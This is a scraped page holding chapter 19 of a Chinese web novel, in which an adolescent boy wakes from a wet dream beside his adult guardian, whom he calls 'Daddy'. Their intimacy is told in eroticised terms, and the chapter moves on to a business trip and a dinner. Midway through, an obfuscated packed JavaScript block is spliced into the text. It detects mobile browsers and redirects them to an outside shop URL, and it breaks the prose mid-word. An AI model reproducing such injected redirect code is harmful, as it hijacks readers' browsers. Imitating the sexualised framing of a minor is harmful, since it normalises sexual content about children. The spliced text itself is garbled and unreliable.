默认冷灰
24号文字
方正启体

19. 第 19 章

作者:elevenam本书字数:K更新时间:
    俞川做了一个很长的梦。


    梦到自己站在一片无边的海域中央。


    梦中的海跟现实中的海不太一样。


    这个季节,福州的海水温度还是凉的,但梦里的海水是温热的,很浅,刚好没过脚腕,更像是人的体温。


    四周起了雾,白茫茫的,看不清来路,也望不见归途。


    空气里弥漫着潮湿的气息,黏腻地贴在皮肤上,让人莫名的口干舌燥。


    突然,身后传来一阵脚步声,或许不是脚步声,而是水波被轻轻波动的声音,一圈一圈,正缓缓向他靠近。


    俞川想要回头看,但脖子和脚像是被禁锢住了,全身都动弹不得。


    一只手覆上了他的眼睛,很轻、很烫的气息落在颈后。


    世界陷入黑暗的那一瞬间,所有的感官都被无限放大。


    俞川感受到对方的心跳、呼吸,还有那似有若无的低笑,有些熟悉,又有些陌生。


    直到那只手从他眼睛上面拿开。


    他着急地转头,想要看清来人,但面前只有一个虚影。


    就在白雾渐渐散开,眼前人的面容渐渐清晰的时候,一阵突兀的闹铃声从梦境唤进现实。


    俞川伸了个懒腰,感觉整个人依然浮在梦中的海面上,只觉周身经脉畅通,四肢百骸血液流淌得酣畅淋漓,这一觉睡得实在太舒服。


    太舒服……


    他猛然间意识到什么,呼吸一滞,连仅剩的那点瞌睡虫都被吓跑了,顿时不敢睁开眼,只好先抬起手,试探地往身边摸去。


    触碰到坚硬的胸肌后,俞川更是浑身一僵,本想装作无事发生好翻个身,结果那只不老实的手突然被握住。


    干燥温热的掌心包裹着他微凉的手,甚至能感受到那粗粝的指腹擦过手背时带来的战栗感。


    一声似笑非笑的低沉嗓音从头顶响起:“还装睡?”


    俞川睁开眼,恰好对上霍霆深戏谑的眼神。


    房间里中央空调在正常运作,他身上却被汗浸湿,黏腻感无时不在提醒他发生了什么。


    不只是内-裤上,还有睡衣上,连霍霆深的裤子上,床上,被子上,都被他整的一团糟。


    青春期的男生有时候做个春梦是很正常的,俞川接受的是国际学校的教育,学校的学生也都相对开放一些,大家并不是谈性色变的人。


    但这种事,自己做是一回事,被别人知晓就是另外一回事了!


    俞川恨不得床上有个地洞,可以让他直接钻进去的那一种!


    他把脸埋进被子里,只露出一只红得滴血的耳朵,隔着被子都能感觉到声音里的害臊:“Daddy,你、你能不能当作无事发生。”


    “嗯?”霍霆深故意装作不知道,问:“所以发生了什么事?”


    俞川掐一下霍霆深腰上的肉,知道自己不打自招,气鼓鼓地不说话了。


    霍霆深低低地笑了几声,“只是Daddy有些好奇,”他忍不住捏了捏那熟透的耳垂,使坏地问:“宝宝刚才梦到什么了?”


    早上还没醒就在他身上又摸又蹭,还夹着他的大腿拱来拱去,完全把他当成了发泄的小玩具。


    “别问了!”俞川尖叫,羞得抬不起头,把霍霆深的手拍开,只顾着往被子里钻,被子被他撑起了一个鼓鼓的山丘。


    他的睡衣太薄了,是夏天经常穿的贴身款,布料丝滑,版型宽松,很容易被水痕洇开。


    来福州前,霍霆深收拾行李时特地问过,要不要多带一身换洗的睡衣,被他随口拒绝了。


    可是现在,简直没脸见人了!


    俞川在被子里一阵窸窸窣窣,摸了摸,又闻了闻,很潮,而且不好闻,说不定霍霆深的身上也沾染了他的味道。


    一想到这里,他连想死的心都有了。


    “好了宝宝,别憋坏了。”霍霆深含着笑半坐在床上,不再逗他,只探过身把被子掀开,终于像个长辈似的安慰道:“Daddy年轻的时候也经历过这些,不是什么见不得人的事。你现在还小,注意好频率,保持好精力,不要过度发泄。”


    “啊——你别说了!”俞川一下扑过去捂住霍霆深的嘴。


    他的脸闷红了,头发也乱糟糟的,睡衣的领口被他折腾的滑落下来一半。


    他嗷呜一声,牙齿磕在霍霆深锁骨上,咬了一口。


    温香软玉在怀,又如此娇羞模样,逗得霍霆深爽朗大笑。


    他把俞川滑落的睡衣拉上去,盖住那一寸细腻光滑的肩膀,说:“行李箱里有干净的内-裤,先去换下来。”


    俞川闷闷地“哦”了一声,他的衣服都是霍霆深收拾的,带了什么没带什么比他本人都清楚。


    “那换下来的衣服,和这个……”他不忍直视,指指床上那滩狼藉,“怎么办……”


    酒店工作人员每天会按时打扫房间,如果被看到了,这家酒店他以后再也没脸来了。


    但又舍不得这么美妙的海景。


    况且,他可不想这次在福州留下的记忆变成如何向外人隐瞒自己的生理反应!


    霍霆深果真认真思考了一下,给出了解决方案:“衣服放着,我洗,床单和被子我找人运回北京再丢掉。”


    俞川不知是同意还是不同意,又咬了一口霍霆深的锁骨,齿尖在上面磨了磨,淡青色的牙印很快浮现。


    霍霆深看他又羞又臊,拍拍他的腰,好笑地说:“又不是第一次给你洗,快去。”


    说来也是,俞川进入青春期后,在贴身照顾他这件事上,霍霆深连管家和佣人都没用过。


    抱着这样的心态,俞川更加容易地接受了这件事,乖乖跑去浴室把衣服换了下来。


    后续霍霆深是怎么洗的,床单和被子是怎么联系的别人运回北京,他一概不知。


    霍霆深没说,他也没问,反正他也不想知道那么多细节!


    *


    经过昨天晚上那么一闹,霍霆深不敢再让俞川一个人在酒店待着。


    一整天的行程很紧凑。


    开会的时候,俞川就在旁边的休息室待着。


    外出实地观摩调研的时候,霍霆深就牵着他的手,让他在身边跟着。


    俞川很安静,不多说话,也不多问问题,只是有时候实在无聊了就挠一下霍霆深的掌心。


    霍霆深面色不变,依旧沉着冷静地跟别人交流,与此同时,还能分心握紧他的手,安抚他一下,示意他别闹。


    只有在这种时候,俞川才真切地感受到霍霆深的成熟魅


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351222|199600||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    力。


    他看过的成功人士传记不多,并不知道别人的成功之道是天赋占比更多还是努力占比更多。


    但霍霆深,他想,应该是努力占比更多的。


    背后仰仗着霍家这么庞大的家族,霍霆深其实完全可以活得更轻松一些,或者多招募一些各行各业的专业人士作为军师,这样压力会小很多。


    但霍霆深没有。


    他的很多时间都是用来钻研、探索,他秉持的是工匠精神,凡是涉及工作,他优先考虑的是霍家的事业,是霍家的整个大家族,还有手底下的三万多名员工。


    外界很多人对霍霆深的评价褒贬不一,同行敬仰,对手惧怕。


    俞川觉得他们一定是因为不了解,如果了解,就会知道霍霆深这个人到底有多么好。


    他忍不住仰起头看看霍霆深的侧脸,心脏突然被什么撞击了一下。


    转瞬间,被脑中闪过的画面攫住,突然咳了一下。


    实在无法想象一个在外如此沉稳持重的人,几个小时前还在酒店里给他洗内裤。


    俞川扶额。


    晚上还是福州当地安排的晚宴。


    不知是不是昨天跟Iris的试探传到了霍霆深耳朵里,俞川总归如愿以偿陪同霍霆深一同出席。


    这种场合,霍霆深是主咖。


    俞川要陪着他一起,自然也不能丢了他的面子,所以穿着打扮上理应重视。


    Iris送西服过来的时候,俞川正手忙脚乱地帮霍霆深刮胡子。


    早上刚刮过的胡子,才刚到傍晚,又长出了一圈硬硬的胡茬。


    俞川纳闷,还专门上网查了一下,说这是雄性激素分泌旺盛的表现,但他跟霍霆深完全相反,别说胡茬了,身上连一根汗毛都看不到。


    “为什么我不长胡子,也不长汗毛,就连那里……那里……”俞川嘟囔着抱怨,抬眼娇嗔地瞪着面前高大的男人。


    就连男人最引以为傲的第三条腿,也远不如霍霆深的凶猛壮硕。


    “哪里?”霍霆深不明所以。


    俞川不说话了,只一味地往霍庭深下巴上涂泡泡。


    明明平时吃的饭都是一样的,为什么差距会这么大,他强烈表示不服气。


    Iris目不斜视,将衣架上挂着的一大一小两套衣服推进房间,说:“先生,家里给小少爷定制的西服来不及空运,只能找了个差不多的尺码,如果不合适的话我再联系工作人员去换。”


    “好。”


    这么一会,霍霆深下巴上已经涂满了泡沫。


    俞川不肯用电动剃须刀,非要让酒店送过来啫喱膏和刮胡刀,对着他的下巴一通乱折腾,也不知在气什么。


    霍霆深看着俞川手里拿着的刀片就一阵心慌,倒不是怕他把自己的下巴划伤,而是怕他一不小心伤到自己。


    Iris汇报完事情后,没有听到霍霆深后续的安排。


    留下也不是,走也不是。


    就这样站立难安,看着人高马大的自家老板,一脸宠溺地站在浴室镜子前,任由小祖宗在脸上胡作非为,还要时不时照看着小祖宗,是不是磕到碰到了哪里。


    Iris无奈地摇摇头。


    再宠孩子也没这个宠法的。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)